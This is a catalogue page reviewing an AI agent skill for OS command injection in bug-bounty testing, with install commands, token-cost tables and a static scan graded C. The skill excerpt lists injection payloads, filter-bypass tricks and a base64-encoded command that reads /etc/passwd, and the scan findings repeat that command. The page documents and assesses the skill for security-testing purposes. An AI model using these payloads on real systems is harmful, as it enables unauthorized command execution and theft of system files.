Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/command-injection-os-levelWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/command-injection-os-level)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/command-injection-os-level"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/command-injection-os-level/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/command-injection-os-level"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/command-injection-os-level.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00058 | $0.02136 |
| Opus 5.5 | $0.00023 | $0.00854 |
| Sonnet 5.5 | $0.00012 | $0.00427 |
| Haiku 4.5 | $0.00006 | $0.00214 |
Grade C, and why
command-injection-os-level scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Encoded or obfuscated payloadmediumSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Unrestricted tool accesslowExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
The "Ping Utility" feature passes the `target_ip` parameter directly into an unsanitized `os.system()` call on the backend server. By appending shell metacharacters, an attacker can execute arbitrary commands on the unde Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# 2. HTTP Exfiltration (Using curl/wget) Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
- Python: Use `subprocess.run(["ping", "-c", "3", user_input])` rather than `os.system("ping " + user_input)` which spawns a vulnerable shell. Copies of this mod
1 near-identical copy found in the catalogue:
- command-injection-os-level — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 181 lines — stays where its author put it; the contents beside it link to each section on GitHub.
OS Command Injection
When to Use
- When an application exposes functionality that typically relies on underlying OS binaries (e.g.,
ping,nslookup,traceroute,ffmpeg,pdfgen). - When input parameters seem to be interacting directly with the filesystem or networked services (e.g.,
?ip=127.0.0.1or?folder=/tmp). - To escalate blind or visible reflection bugs into complete, system-level Remote Code Execution (RCE).
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Injection Detection (Visible Response)
# Concept: If the developer executes `ping -c 3 $USER_INPUT`, we can use shell
# metacharacters to string together our own commands.
# Common Metacharacters:
; (Command separator - Linux)
| (Piping - Linux/Windows)
|| (OR operator - executes second if first fails)
&& (AND operator - executes second if first succeeds)
`cmd` or $(cmd) (Command Substitution)
%0a (Newline character / URL Encoded)
# 1. Basic Probing
# If the intended input is 127.0.0.1:
?ip=127.0.0.1;id
?ip=127.0.0.1|whoami
?ip=127.0.0.1||whoami
?ip=127.0.0.1%0awhoami
?ip=$(whoami)
# 2. Analyze Output
# If the response includes `uid=1000(www-data) gid=1000(www-data)`, it is definitively vulnerable to Command Injection.
Phase 2: Bypassing Filters & Restrictions
# Concept: WAFs or developers may try to filter spaces, slashes, or specific words (like `cat` or `flag`).
# 1. Bypassing Space Filters
# Use Input Field Separators (IFS), brace expansion, or redirection.
;cat<target.txt # Redirection instead of space
;cat${IFS}target.txt # Uses Internal Field Separator
;{cat,target.txt} # Brace expansion
# 2. Bypassing Blacklisted Commands (e.g., 'cat' or 'whoami' blocked)
# Use quotes, slash injection, or wildcards to break up the word.
w'h'o'a'm'i
w"h"o"a"m"i
wh$@oami
/b?n/?at /e*c/pas*wd # Wildcard execution targeting /bin/cat /etc/passwd
# 3. Encoding Bypasses
# Send commands encoded in Base64 and decode them on the fly.
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 181 lines · 58 tokens per session scan C c05a2efa1158
command-injection-os-level is a skill published in the GitHub repository ShulkwiSEC/bb-huge (23 stars, last pushed 3mo ago), licensed MIT. It adds 58 tokens to every session and 2,136 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it C with 4 findings (encoded or obfuscated payload, unrestricted tool access, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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